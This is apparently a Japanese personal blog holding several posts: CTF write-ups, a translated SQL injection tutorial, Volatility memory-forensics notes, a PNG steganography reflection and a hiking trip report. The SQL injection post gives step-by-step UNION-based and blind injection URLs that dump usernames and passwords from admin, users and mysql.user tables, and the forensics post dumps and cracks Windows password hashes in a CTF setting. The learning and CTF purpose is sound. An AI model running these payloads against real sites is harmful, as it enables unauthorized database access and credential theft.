【write-up】RiceTeaCatPandaCTF

前置き

この週の土曜日に歩くサイバー兵器になるための試験が控えていたのですぐに解ける問題しかやってません。評判の方は散々だったようですが、個人的には実行ファイルを解析する問題が解けたので良かったです。 f:id:yamanobori_programing:20200126002816p:plain

Misc

Strong Password

flagの形式を確認する問題(正直これが一番わからなかった...) rtcp{rice_tea_cat_panda}

Web

Robots. Yeah, I know, pretty obvious.

明らかにrobots.txtを見たくなる問題。以下、robots.txtの内容

User-agent: *
Disallow: 
/robot-nurses
/flag

/robot-nursesを参照するとflagが書いてあった。 rtcp{r0b0t5_4r3_g01ng_t0_t4k3_0v3r_4nd_w3_4r3_s0_scr3w3d}

No Sleep

ヒントのURLを踏むとタイマーが表示されるページに飛んだ。cookieを見てみたら任意の時間が指定されていたのでcookieを書き換えることでタイマーを適当なところまで進めることができた。

chrome.google.com

rtcp{w0w_d1d_u_st4y_up?}

Phishing for Flags

与えられたメールに貼られてるリンクを片っ端から踏んでいったらflagにたどりつた。一体何がしたかったのだろう? rtcp{r34d_b3f0rE_yOU_C1iCk}

Forensics

BTS-Crazed

mp3のファイルが渡されるので、stringsをかけたらflagがあった。 rtcp{j^cks0n_3ats_r1c3}

Allergic College Application

文字化けしてるtxtファイルが渡される。問題文に中国語を書いていたらhugahugaと書いてあったので、エンコード方式をGB18030に変更したらなんとなく意味が分かりそうな中国語になった。

rtcp{我_只_修改_了_两_次}

Reverse Engineering

ELFが渡されたのでIDAで逆アセンブルしてみると、入力された文字列の一文字ずつを.data領域に格納されているbyteデータをデコードした値と比較している。デコード方式自体は、byteデータを0x32でxorした後に0x1を加算し、さらに0x32でxorするという単純なものだった。以下pythonのソルバー。

#vim:fileencoding=utf-8

#.data領域から抽出してきたbyteデータ
key = [0x3a,0x31,0x52,0x30,0x34,0x36,0x52,0x30,0x33,0x5c,0x3a,0x51,0x73,0x30,0x35,0x45,0x5c,0x31,0x5a,0x34]
flag="rtcp{"

for i in range(len(key)):
    key[i] ^= 0x32
    key[i] -= 0x1
    key[i] ^= 0x32
    flag=flag+chr(key[i])

flag=flag+"}"
print(flag)

rtcp{50m371m32_5Pr34D_0U7}

番外編「そもそもrobots.txtってなんだ?」

いろんな所で見かけるrobots.txt、いまいちよく分かってないので調べてみました。

robots.txtは、Googlebotを始めとしたクローラーに対して、特定のディレクトリやページへのクロールを制御するテキストファイルです。

robots.txt自体はルートディレクトリに置かれているので、URLの最初のスラッシュの後ろにrobots.txtを指定してあげると、robots.txtの内容を確認することができます。(以下、某サイトのrobots.txt

User-Agent: *

# sitemap
Sitemap: https://www.sankei.com/sitemap.xml
Sitemap: https://www.sankei.com/sitemap_static.xml

# not contents
Disallow: /_test/
Disallow: /smp/_test/

# not crawl target
Disallow: /module/sys/ironna/relate/
Disallow: /module/design/alliance/
Disallow: */print/*-c.htm*
Disallow: /denshi/

# old contents
Disallow: /enak/
Disallow: /seiji/
Disallow: /wave/
Disallow: /kokusai/
Disallow: /shakai/
Disallow: /kyouiku/
Disallow: /keizai/
Disallow: /seikatsu/
Disallow: /tvnavi
Disallow: /seiron/

Disallow: /news/
Disallow: /6974/
Disallow: /databox/
Disallow: /edit/anke/
Disallow: /sports/fight/

Disallow以下に記載されているディレクトリにはクローラがアクセスすることができないため、基本的には検索エンジンの結果に反映されません。(理解が正しければそのはず。)そして、怪しい名前のディレクトリには多分それなりのものが置かれてるんだと思います。(これ以上はいけない気がするので今日はこれで終わり。)

【SQLi】英語のお勉強ついでにSQLiをやっていく【翻訳】

前置き

英語のお勉強をしなければいけないので、セキュリティ系の海外サイトを翻訳していきます。

SQL Injection Tutorial from Beginner to Advanced | NeosLab

↑今日翻訳していくサイト。

以下翻訳...

(タイトルなし)

SQLインジェクション(SQLi)とは、攻撃者がデータベースサーバー(あるいは、より一般にはRDBMS)をコントロールできるような悪意のあるSQL構文(俗に言うペイロード)を実行する攻撃のことを指します。SQLiの脆弱性SQLベースのデータベースを利用するwebサイトやアプリケーションに影響を及ぼす可能性があるため、SQLiの脆弱性は、最も古く、かつ危険で、最もポピュラーなwebアプリケーションの脆弱性になりました。

適切な状況下でSQLiの脆弱性を利用することで、攻撃者はwebアプリケーションの認証、承認メカニズムをバイパスし、データベース内のコンテンツを取得することができます。また、SQLiの脆弱性を利用することで、データベース内の情報を情報を改ざんし、情報の完全性を脅かします。

このようにして、SQLiは攻撃者の個人情報や機密情報などへの不正なアクセスを可能にします。

WHAT’S THE WORST AN ATTACKER CAN DO WITH SQL?

SQLRDBMSにおけるデータ管理のために設計されたプログラミング言語であるため、データの登録、変更、消去が可能になっています。さらに言えば、RDBMSはOS上において、SQL構文からコマンドを実行することも可能です。

これらのことを念頭に置いて、以下のことを考慮すると、SQLiが攻撃者にとって如何有益であるかをより理解しやすくなります。

  1. SQLiを利用することで、認証を回避したり、特定のユーザーに成りすますことができる。
  2. SQLの主な機能の内の一つは、クエリに基づいてデータを取得し、その結果を出力することである。そのため、SQLiの脆弱性は、データベース上のデータの完全な取得を可能にする。
  3. webアプリケーションがデータベース内のデータをSQLを用いて変更するために、攻撃者はSQLiを用いてデータベース内のデータを改ざんする可能性がある。データの変更は、データベースの整合性に影響を及ぼし、トランザクションの無効化や残高の変更などの各種問題を引き起こす。
  4. SQLはデータベースからデータを削除するのに利用される。攻撃者は、データベース内のデータを削除するために、SQLiを利用することができる。仮に適切なバックアップがとられていたとしても、データベースが復旧するまでの間、アプリケーションの可用性に影響を及ぼす可能性がある。
  5. いくつかのデータベースサーバーは、意図的か否かは別として、任意のOSコマンドを実行できるように設定されている。適切な条件が与えられれば、攻撃者はSQKiをファイアーウォールで保護されたネットワークへの攻撃の第一波として利用する。

THE ANATOMY OF AN SQL INJECTION ATTACK

SQLiの実行には「SQLを利用しているデータベース」と「SQLクエリの中で直接利用される、ユーザが制御可能な入力」の二つが必要です。

エラーは開発中の開発者にとってとても有用ですが、サービス中のサイトで生じると、攻撃者に多くの情報を与えかねません。SQLのエラーは、攻撃者がデータベースの構造をある程度把握できるまでの情報を示す傾向にあります。そして、いくつかの場合において、SQLのエラーメッセージから情報を抽出することで、データベースの全体を列挙することができ、この攻撃はエラーメッセージベースのSQLiと呼ばれます。そもそも、データベースのエラーはライブサービス上では無効にするか、アクセスが制限された領域に記録しておくのがよいのです。

データをフィルタリングする方法の一つとして、SQL演算子であるUNION演算子を用いて、いくつかの出力を一つにまとめてしまう方法があります。この方法は、アプリケーションにHTTPレスポンス内にデータを返すことを強制します。この方法はUNIONベースのSQLiと呼ばれます。

BLIND SQL INJECTION (THE HARDER PART)

じゃあ、ちょっとやってみましょう。

Check for vulnerability.

このようなサイトがあるとしましょう。

http://server/news.php?id=5

URLの後ろに'(シングルクォーテーション)を付けて、脆弱性があるか確認してみましょう。

http://server/news.php?id=5'

そうしたら、以下のようなエラーが出るでしょう。

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc ..." or something similar that means is vulnerable to SQL injection.

Find the number of columns

カラムの数を評定するために、ORDER BYを用いる。ORDER BYの後ろの数字を一つずつ増やしていき、エラーが出るまで続ける。

http://server/news.php?id=5 order by 1/* <-- no error
http://server/news.php?id=5 order by 2/* <-- no error
http://server/news.php?id=5 order by 3/* <-- no error
http://server/news.php?id=5 order by 4/* <-- error (We get message like this Unknown column '4' in 'order clause' or something like that)

これはカラム数が3であることを表し、だからこそ4行目を指定した時にエラーが出たのである。

Check for UNION function

UNIONにおいては、我々は多くのデータを一つのSQL構文で選択できます。よって、以下の様にします。

http://server/news.php?id=5 union all select 1,2,3/* (We already found that number of columns are 3 in section 2). )

もし1,2,3のようないくつかの数字が見えたら、UNIONは正常に動作しています。

Check for MySQL version

http://server/news.php?id=5 union all select 1,2,3/*

NOTE:もし"/*"がうまく動かなかったり、エラーが出るようなら、代わりに"--"を使ってください。これはコメントの記号であり、クエリが適切に働くのに重要です。

ここで、画面にselectの後ろに2があるとして、SQLのバージョンを確認するために"2"を"@@version"や"version()"に置き換えて実行してみましょう。4.1.33-logや5.0.45などといったものが出力されるはずです。

http://server/news.php?id=5 union all select 1,@@version,3/*

もしあなたが"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."というようなエラーを受けたとき、あなたが次にするべきことは次の例の様にconvert()関数を利用することです。 EXAMPLE:

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

あるいは、hex()やunhex()も利用できます。

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

これらによって、MySQLのバージョンを取得することができます。

Getting table and column name

MySQLのバージョンが5以前の場合、多くの場合でテーブルとカラムの名前を推測することができます。一般的なテーブル名は「user/s」、「admin/s」、「member/s」などです。一方、一般的なカラム名は「username」、「user」、「usr」、「user_name」、「password」、「pass」、「passwd」、「pwd」などです。

EXAMPLE:

http://server/news.php?id=5 union all select 1,2,3 from admin/*

(私たちは先程から2番を使っていますが、それでよいのです) 私たちはスクリーンに「admin」や「superadmin」などといったユーザー名をスクリーンに得たはずです。

では、パスワードのカラムがあるか確認してみましょう。

http://server/news.php?id=5 union all select 1,password,3 from admin/*

SQLの設定によりますが、私たちはハッシュ化されたパスワードであったり、平文のパスワードを得るはずです。クエリの見栄えをよくするためにconcat()を使って文字列を結合しましょう。

http://server/news.php?id=5 union all select1,concat(username,0x3a,password),3 from admin/*

NOTE:0x3aは":"の16進数アスキーコードで、代わりにchar(58)を使うこともできます。 ユーザー名とパスワードを得たことで、あなたは既存のユーザの様にログインすることができます。もしテーブル名を推測できないなら、以下の様にmysql.userを使うといいでしょう。

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL5

ここで、私たちは"information_schema"テーブルが必要になります。このテーブルは、データベース内のすべてのテーブルとカラムの情報を内包していて、これを得るために"table_name"と"information_schema.tables"を使います。

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

ここで、2を"table_name"に置き換えて、画面に出力されるinformation_shema.tableからテーブル名を得ます。また、クエリの後ろにLIMITを加えることですべてのテーブル名を取得する必要がります。

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from infor-mation_schema.tables limit 0,1/*

NOTE:2番目のテーブルを表示するために0、1(0から始まる1つの結果を取得する)を配置するために、「limit 0,1」を「limit 1,1」に変更します。(←?)

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

二つ目のテーブルが表示されたはずです。三つ目に対しても同様のことを行いたいのなら、"limit 2,1"を利用するといいでしょう。

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

この数字を"db_admin"などの有益な情報を得るまでインクリメントしていきます。

カラム名の取得に対しても同様の方法を用います。以下の様にして"column_name"と"information_schema.columns"を利用します。

EXAMPLE:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

最初のカラムを得ました。次のカラムを得るために、"limit 0,1"を"limit 1,1"に変更します。

EXAMPLE:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

二つ目のカラムが出力され、先ほどと同様に数字をインクリメントしていくことで、様々なカラムを得ることができます。任意のテーブルのカラムを得たい場合は以下の様にします。

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

usersテーブル内のカラムが出力されました。しかし、このクエリはマジッククォートの設定がONになっている場合はうまく動きません。user、pass、emailカラムが見つかったとして、これらをまとめて出力するためにconcat()を利用します。

EXAMPLE:

http://server/news.php?id=5 union all select 1, concat(user,0x3a,pass,0x3a,email) from users/*

これを用いることで、user、pass、emailを取得します。

BLIND SQL INJECTION

ブラインドインジェクションは典型的なインジェクションと比較すると多少複雑ですが、以下の方法で行うことができます。最初に、webサイトの脆弱性をチェックする必要があります。

一般的なクエリの例は以下の様になります。

http://server/news.php?id=5 and 1=1 <-- this is always true

では、上記の例の”1”を"2"に変えてブラインドインジェクションが可能かどうか見てみましょう。

http://server/news.php?id=5 and 1=2 <-- this is false

もし、ページが誤ったテキストや画像を返したのなら、それはブラインドインジェクションに対して脆弱であることを示しています。

Get the MySQL version

MySQLのバージョンを得るためにはsubstringを利用する。

http://server/news.php?id=5 and substring(@@version,1,1)=4

上のクエリは、MySQLのバージョンが4だった時にTRUEを返し、"4"を"5"に置き換えて実行した結果がTRUEであったなら、MySQLのバージョンが5であることを示します。

EXAMPLE:

http://server/news.php?id=5 and substring(@@version,1,1)=5

TEST IF SUBSELECT WORKS

いくつかのケースで"select"はうまく機能しません。そのようなときは、代わりに"subselects"を利用します。

EXAMPLE:

http://server/news.php?id=5 and (select 1)=1

もしページが適切に読み込まれれば、"subselects"は適切に動作します。次に、"mysql.user"にアクセスできるかどうか確認します。

EXAMPLE:

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

ページが適切に読み込まれることは、"mysql.user"にアクセスできたことを意味します。According to this last query we can if we want using this access to extract for example some password using load_file() function and OUTFILE(←?)

CHECK TABLE AND COLUMN NAMES

ここは、推察や検索があなたを助けるでしょう。

EXAMPLE:

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1

上の使用例で、"limit 0,1"を使えば、クエリは"1 rqw of data"を返すでしょう。ページがコンテンツの欠落なく読み込みを行ったなら、それは"users"テーブルが存在することを示します。コンテンツの欠落があったら、テーブル名を適切に推察し、再度実行する必要があります。

テーブル名が"users"であるとき、次は同様のやり方でカラム名を取得していく。最初は"password"のような一般的な名前で行っていく。

EXAMPLE:

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

ページが適切に読み込まれれば、カラム名が"password"であるということが判明する。失敗した時も同様に、他の一般的なカラム名を利用して再度実行する。上の例では"password"と1をマージしてsubsetring()関数が最初の1文字を返す。

EXTRACT DATA FROM DATABASE

"users"テーブルと、カラム"password"と"username"が見つかったとしましょう。そうしたら、いくつかの関連するデータを抽出します。

http://server/news.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80

上のクエリでは、substring()関数が"user"テーブルの最初のユーザの最初の1文字を返します。ascii()関数は最初の1文字をasciiコードに変換し">"演算子を用いて任意の値より大きいか比較します。

既にお分かりかと思いますが、上の例においてasciiコードの値が80より大きいときに、適切にページを読み込むことができます。失敗するまで試行し続けます。

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

数字をインクリメントしていき、エラーが出たらuserの最初の数字がエラーを吐いた時に">"の右側にある文字であることが分かります。(今回の場合は"c")

では、次の文字を見てみましょう。

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

NOTE:次の文字に進むためには",1,1"を",2,1"に変更します。

以降も同様の手順で文字を評定していきます。

一方、この方法では完全なusernameやpasswordを得るには膨大な時間がかかります。

【Forensic】Volatility使用方法まとめ【ツールメモ】

前置き

まずは2020年、あけましておめでとうございます。

旧年はセキュリティキャンプに参加したり個人的にも色々あったりなかなか壮絶な年でしたが、今振り返ってみるとなかなか充実していたようにも思えます。今年は就活が控えている(というか真っただ中)ので、まずはそっちを優先しつつ、終わったら色々な勉強会とか趣味のこととかもやっていきたいと思っています。

何はともあれ、今年もよろしくお願いします。

 

さて、新年のあいさつも早々に、さっそく本題の方に入っていきたいと思います。新年一発目のContrailCTFにちょっとだけ顔を出してみたのですが、Volatility力不足が露呈したので(ほかの力も様々壊滅的でしたが...)ちょっとVolatilityについてまとめてみたいと思います。

Volatilityについて

そもそもVolatilityとは何ぞや?という人もいるかもしれないので簡単にまとめておこうと思います。(どこか間違えてるところとかあったら、最下のtwitterアカウントまで連絡いただけると助かります。)

 

実際のインシデントにおいて、有益な情報という物は様々な個所から発見されますが、最も有益な情報というのはインシデントに見舞われたマシンのメモリダンプから得られることが多いようです。メモリダンプのサイズは非常に大きく、解析するのは困難なように思えますが、Volatilityを使うことで簡単に調査できるようです。

ちょっと本論からは逸れますが、一般的なCTFのForensic問題に対するアプローチがctf101に書いてあったので抜粋して載せておきます。

  1. stringsコマンドを対象イメージに対して実行してみる
  2. 対象イメージがどのOSのものかを評定する
  3. プロセスをダンプし、疑わしいプロセスを探す
  4. 注目したプロセスのデータをダンプする
  5. ダンプしたデータの内で、対象プロセスと関連のあるもののデータを見てみる

English is too much very difficult...

訳がイマイチなので、参考のところの原文を見ておくことをお勧めします

オプションとか

上記の流れに沿う形で、Volatilityのオプションをまとめていきたいと思います。一通りまとめ終わったところで、余力があったら他のオプションについてもまとめていきたいと思います。(執筆時点で1/4の0302...)

対象イメージの評定

volatility_2.6_win64_standalone.exe -f 対象イメージ imageinfo

-fオプションとimageinfoで対象OSやハードウェアアーキテクチャなどの全体把握に役立ちそうな情報が得られます。また、DTB(Directory Table Base)アドレスや、根の理ダンプが取得された時間なども確認することができます。

プロセスのダンプ/データのダンプ

volatility_2.6_win64_standalone.exe -f 対象イメージ --profile=Win7SP1x64 pstree

メモリダンプ時に動いていたプロセスの一覧は、-fオプションと対象イメージの後ろに対象OSとpstree、pslistないしpsscanを追加することで取得できます。ダンプの結果、evel.exeとか明らかに怪しいプロセスが動いてたら、下のコマンドでデータをダンプします。

volatility_2.6_win64_standalone.exe -f 対象イメージ --profile=Win7SP1x64 memdump -p 2228 -D dump

先のpstreeオプションの代わりにmemdump -p PID dir/を指定すると、対象のPIDを持つプロセスのデータをdir/ディレクトリ内にPID.dmpの形で出力します。(ここから先はstringsやらgrepを駆使していくのだろうか?)

レジストリの仮想アドレスの取得

レジストリの仮想アドレスを取得するためには、以下のコマンドを使うようです。

volatility_2.6_win64_standalone.exe -f 対象イメージ --profile=Win7SP1x64 hivelist

大体重要な情報は\SystemRoot\System32\Config\SAMであったり、\REGISTRY\MACHINE\SYSTEMにハッシュ値として保存されてたりして(時間ができたら詳しく書きます)、先のコマンドでこれらのメモリ上でのアドレスが分かるのでこれらのハッシュ値を取り出します。取り出したら煮るなり焼くなり好きにするといいんだと思います。

volatility_2.6_win64_standalone.exe -f 対象イメージ --profile=Win7SP1x64 hashdump -s 0xfffff8a0063fa010 -y 0xfffff8a000024010 > hash.txt

ハッシュ値のダンプはhashdumpを用い、-y直後のアドレスは\REGISTRY\MACHINE\SYSTEMの仮想アドレスを示し、-s直後の仮想アドレスは\SystemRoot\System32\Config\SAMの仮想アドレスを指します。

ContrailCTFのForensic問題で実践してみる

 現在時刻0436、頑張ります...

f:id:yamanobori_programing:20200104044013p:plain

対象イメージの評定

f:id:yamanobori_programing:20200104044054p:plain

レジストリの仮想アドレスの取得

f:id:yamanobori_programing:20200104044128p:plain

ハッシュ値の取得

f:id:yamanobori_programing:20200104044812p:plain

この中のAliceのものをhttps://crackstation.net/ に投げると

i<3orange.

が帰ってきたので、これのMD5ハッシュ値を求め、対象の暗号化されたzipに投げると、無事解凍される。

ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}

参考等

ctf101.org

github.com

www.aldeid.com

twitter

twitter.com

【write-up】NewbieCTF wriye-up

NewbieCTFに参加してきたのでその時に解けた問題と解けなかった問題につて徒然なるままに。ちなみに大学の同志で立ち上げたCLPWNなるチームで参加し、総合成績は4799点で72位だった。今までで最も良い成績を残す事が出来たがそれだけに自分の貢献度が少なかったように思えるので悔しさも残る結果となった。

【Misc】Catch Me

こんなgifが渡される。

f:id:yamanobori_programing:20191105223136g:plain

数字的にasciiコードに変換するんだろうと思ったので、gifの編集ができるソフトを探してきて点滅のレートを下げて黒点がいる数字を読み取ってasciiコードに変換した。

KorNewbie{w0w_e4g1e_3y3}

【Pwnable】babypwn

入力でgets関数が使用されていてバッファオーバーフロー脆弱性があるバイナリが配布された。過剰な入力の後にleave命令実行後にsegmentation faultが発生した。バイナリはflag1関数に遷移した時にflagが表示され、flag2関数に遷移した時にsystem関数が呼び出されて、そのままshellが立ち上がるようになっていた。flag1とflag2に遷移してくれる攻撃コードとして以下のものを用意した。ファイル名はNewbieCTF_flag1.txtとNewbieCTF_flag2.txtがそれぞれflag1とflag2を呼び出す攻撃コードになっている。

github.com

local環境でsocatでgdbserverを立ち上げて攻撃コードがうまく動いてflag1とflag2を呼び出すことに成功していたが、実際の環境で試してみたら案の定うまくいかなかった。ちなみに環境はkali linux

【write-up】SECCON 2019 Online CTF【[misc]Sandstorm】

前略

この記事はwrite-upではありません。悪しからず。

......

....

..

.

事もあろうにSECCONと情報処理技術者試験がブッキングしてしまったので、SECCONの方はあまり触れていないが、少しでも触った問題については反省会でもしようかと。以下は触った問題一覧。

  • [pwn]one
  • [pwn]Sum
  • [reversing]follow-me
  • [misc]Beeeeeeeeeer
  • [misc]Sandstorm
  • [forensics]repair
  • [crypto]coffee_break

割とまじめに取り組もうとした問題もあるし、ファイル落としてちょっと見ただけの問題もあるが、触ったことに変わりはないので取り合えず。まぁまぁまじめに取り組んだと思われる[misc]Sandstormあたりから反省会を行っていく。

嘆き

誰かのブログで自分のたどったプロセスを「嘆き」と表現していたのが気に入っているので、今後例に倣って「嘆き」を多用していくことにする。

とりあえず問題文からstegano系の問題だと思われたが、とりあえずbinwalkにかける。もちろん何も出ない。

次にtweakpngにかける。

f:id:yamanobori_programing:20191020201013p:plain

第一印象はIDATチャンクがずいぶん多いということ。この記事を書いてる途中で「IDATチャンクの数は画像のサイズに依存するのでは?」とか思ったりしたが、63KBのSandstorm.pngのIDATチャンクの数が8つなのに対し、3KBのpngも43KBのpngもIDATチャンクの数が互いに1つだったのでどういうときにIDATチャンクの数が複数個になるのかはよく分からない。

とりあえずIDATチャンクを消したりして何個かpngを作ってみたものの、flagにつながりそうな情報は得られなかった。

解き方

この記事を見た。

st98.github.io

バイナリエディタで最初のIDAT チャンクのlengthを

00 00 20 00

から

00 00 05 00

に書き換えてchromeで開いたら解けたらしい…

 

🤔???

 

補遺

png全体の構造は以下のようになっている。

f:id:yamanobori_programing:20191020225004p:plain

最初だけpngシグネチャで8bytes占めていて、以下、任意のチャンクが複数個並んで、最後は必ずIENDチャンクで終わっている。

チャンク全体の構造は以下の様になっている。

f:id:yamanobori_programing:20191020225629p:plain

length:data領域が何byteであるのかを示す

type:チャンクの種類を示す。

data:データが格納されている。

CRC:誤り検知のための数値データ。

チャンクの種類は大きく必須チャンクと補助チャンクに分かれるが補助チャンクについては以下を参照。

uno036.starfree.jp

必須チャンクは主にIHDR、IDAT、IENDがあるが、IHDRチャンクには画像サイズやカーラータイプなどの情報が格納されていて、IDATチャンクには圧縮された実際のイメージデータが格納されている(?)。IENDはpngの一番最後のチャンクに必ずいて、データの終わりを示す。

再出撃

改めて渡された画像データを見てみる。

......

....

..

.

 100歩譲って画像をブラウザで表示させようと思ったのは、出題時の画像の渡し方に違和感があったから理解できるにしても、なぜlengthを0x500にしたらQRコードが表示されると分かったのだろうか?0x543bytesのバイナリを見ても多分圧縮されたデータが格納されているだけで、データ長を書き換える根拠となるようなものは(僕の力では)確認できなかった。いったいどうやって解いたんだろうか?

 

まぁ、でも今回の問題でlengthを任意に書き換えることで埋め込まれたデータを取り出せることが分かったので、そのうち勝手にlengthを書き換えてくれるスクリプトでも書いてみようと思う(書いてみるとは言ってない)。

 追記

soji256.hatenablog.jp

VMwareを持っていれば、「仮想マシンの設定の編集」->「ネットワークアダプタ」->「詳細」->「発信転送」->「バンド幅」のところを適切にいじってからどこかに置いておいた画像を開くとQRコードが表示されるようです。(VMの方には環境が入ってないので肌やってない。適当な環境が用意出来たらやってみる予定。)

【山行記録】中央アルプスの主峰っぽいところを縦走してきたときの話

前置き

 このブログの名前は、皆さんお忘れかもしれないが「yamanobori_programingの日記」ということになっている。今までさんざん(しかも大したことない)技術記事を垂れ流してきたが、ブログ解説1年を経て初の登山記事である。実は地元が中央アルプスの麓的なところなので、本ブログ初の登山記事が中央アルプス縦走というのは少しうれしかったりする。ちなみに期間は9/24~28.

中央アルプスについてと中央アルプスについて思うところを少し

中央アルプスについてwikipediaより。

 木曽山脈(きそさんみゃく)は、本州の中央部を長野県の木曽谷伊那谷に跨って南北に連なる、木曽川天竜に挟まれた山脈である。通称中央アルプスとも呼ばれ、飛騨山脈北アルプス)、赤石山脈南アルプス)と共に日本アルプスと呼ばれることもある。

一応日本アルプスの一角を占めているのだがなぜかワンダーフォーゲルなり山と渓谷なりの有名どころの雑誌はなかなか特集を組んでくれない。やはり北アルプス南アルプスに話題が持っていかれてしまうからなのだろうか?もしかしたら3,000mを超えるピークが存在しないのも一因かもしれない。(中央アルプスの最高峰は木曽駒ケ岳2,956m)個人的には(地元補正もあるが)静かな山なので気に入っている。

ちょっと横道にそれて、中央アルプスの範囲がどこまでなのかというお話。個人的には茶臼山から摺古木山までだと思っている。理由は自分が全山縦走を考えていた時にそのコースを行こうと思ったからというだけの理由なのだが...。経ヶ岳を含める含めないで論争が起きそうなところではあるので、ここでは触れないでおこう。

また少し話がそれてしまうが、経ヶ岳の北西に位置する「坊主岳」は標高は2,000mよりちょっと下回ったくらいの山だが、日帰りでピストンできる上に、天気がよければ、日本アルプスの主峰たちを大パノラマで楽しむ事が出来るので中央アルプスの隠れたおすすめスポットだったりする。急坂ではあるが...。ちなみに、坊主岳の登山道の整備は知り合いの保育園の園長先生が業務の傍ら行ってくれている。本当にありがたい限りである。自分に中央アルプスの魅力を教えてくれたのもこの人だったりする。

本当は全山縦走をやりたかったが、セキュリティキャンプ参加の準備なり必修のレポートなりで必要になる技術を確保できなかったので空木岳から木曽駒ケ岳の半縦走みたいな形になってしまった。

Day0

 個人的に、山に行く前は二郎系ラーメンを食べることにしているので、今回も例に漏れず。あまりニンニクを入れすぎると眠れなくなるのでニンニクはいれていない。

 しかし眠れない時はどんなに気を付けていても眠れないものである。

Day1

5時半の鈍行に乗って長野まで行く予定だったのだが、寝坊をかましてしまったので、新幹線で長野に行く羽目になった。高崎まで出なければいけないとも思ったが、うまいこと特急を挟んで交通費の節約に成功した。

f:id:yamanobori_programing:20191013211117j:plain

姨捨駅からの風景。夜になると夜景が非常にきれいなのだが...

 まつもと~、まつもと~、松本です。(通じる人には通じるネタ)

ここからさらに飯田線を使って駒ヶ根駅まで行って前日泊をしてアタックする計画になっていた。

f:id:yamanobori_programing:20191013211241j:plain

初日の宿。グローブと野球ボールがあったのでしばらくキャッチボールをしていたが、野球小僧だった頃が思い出されて少し懐かしくなった。

f:id:yamanobori_programing:20191013211456j:plain

カエル。なんか縁起がよさそう(無事カエル的なアレ)

Day2

本日の行動は以下の通り。

f:id:yamanobori_programing:20191013212516j:plain

行程の一番右端の林道終点までは車両が登ってこれない途中までタクシーで行く計画だったが、タクシー会社の人がキャンプ場から徒歩で行けるというのでキャンプ場から歩くことに...。多分何を言われてもタクシーを使うのがよいと思う。キャンプ場から確か2時間くらいかかった。しかもなかなかの登りだった。

f:id:yamanobori_programing:20191013212842j:plain

良い。

f:id:yamanobori_programing:20191013212924j:plain

何も言うまい。清水以外に何かあるんですかね?

f:id:yamanobori_programing:20191013213409j:plain

少しずつ紅葉も始まっていた。

f:id:yamanobori_programing:20191013213554j:plain

何なんですかね、これ。

f:id:yamanobori_programing:20191013213719j:plain

セキュリティキャンプでもらった富士通羊羹おいしかった。

f:id:yamanobori_programing:20191013213835j:plain

山の上から見下ろす下界の景色ほど格別なものはないと思ってる。

f:id:yamanobori_programing:20191013213948j:plain

紅葉その2.あんまりきれいな紅葉ではなかった。

f:id:yamanobori_programing:20191013214405p:plain

空木平避難小屋。ここに一泊。

f:id:yamanobori_programing:20191013214542j:plain

記念撮影。

 

Day2のまとめ等

  • 山と高原地図の小地獄後の迷い尾根は看板もあるし、分岐の片方は倒木でふさがれているのでそんなに迷いやすそうだとは思わなかった。
  • 避難小屋のトイレはカートリッジ式で、トイレットペーパーあり。
  • 水場は枯沢を少し下ったところに水が流れているところがあるのでそこのを使うとよい。蟲が浮いてたりするので要煮沸。
  • 小屋の協力金は1,000円。

初日で高度1,800m程上がったが、なんとなく体力を温存して宿営地までたどり着けたので良かった。夜はなんとなく雲も少なかったので星がきれいだった。下界にいるとどうしても明るいので、こんなところまで来ないときれいな星が見れないというのは何とも言えない感情を抱かせるが、毎日きれいな星が見えるのもなんとなく嫌なので多分今ぐらいの生活がちょうどいいのだろう。

Day3

Day3の行程は以下。

f:id:yamanobori_programing:20191013220109j:plain

f:id:yamanobori_programing:20191013215814j:plain

朝日に映える紅葉がきれいだった。紅葉自体は例年より遅いようである。この先をしばらく歩いていくと枯沢に当たるので、そこをひたすら遡上していくと駒峰ヒュッテに到着する。確か500mlの水が500円くらいだったと思われる。

f:id:yamanobori_programing:20191013220239j:plain

南アルプスが見える。靄がかかっているが、下界もなんとなく視認できる。

f:id:yamanobori_programing:20191013220412j:plain

左に見える小屋が駒峰ヒュッテ。

f:id:yamanobori_programing:20191013220504j:plain

八ヶ岳

f:id:yamanobori_programing:20191013223029j:plain

恵那山?

f:id:yamanobori_programing:20191013222652j:plain

御嶽山。3,000m峰。空木岳からの写真はあるのになぜ空木岳の写真がないのか?

空木岳から木曽殿山荘へ下る道は概ね岩場なので注意。木曽殿山荘で休憩してたら小動物が巾着を加えて山荘から逃走していった。あれは何者だったんだろうか?

f:id:yamanobori_programing:20191013223423j:plain

東川岳。木曽殿山荘から見上げる分には無限に登るような錯覚に陥るが歩いてみると大したことはなかったりする。東川岳以降はしばらく稜線歩き。

f:id:yamanobori_programing:20191013224030j:plain

f:id:yamanobori_programing:20191013224133j:plain

f:id:yamanobori_programing:20191013224218j:plain

檜尾岳の直前は隠れたピークの連続で、なかなか檜尾岳頂上が観測できず、精神をえぐられる...。

f:id:yamanobori_programing:20191013224452j:plain


檜尾避難小屋からの風景。下界が見える...。

Day3のまとめ等

  • 檜尾避難小屋のトイレはカートリッジ式。トイレットペーパーなし。
  • 水場は避難小屋東部の鞍部を北側に下ったところ。煮沸しなくても飲めるが気になる方は煮沸を。
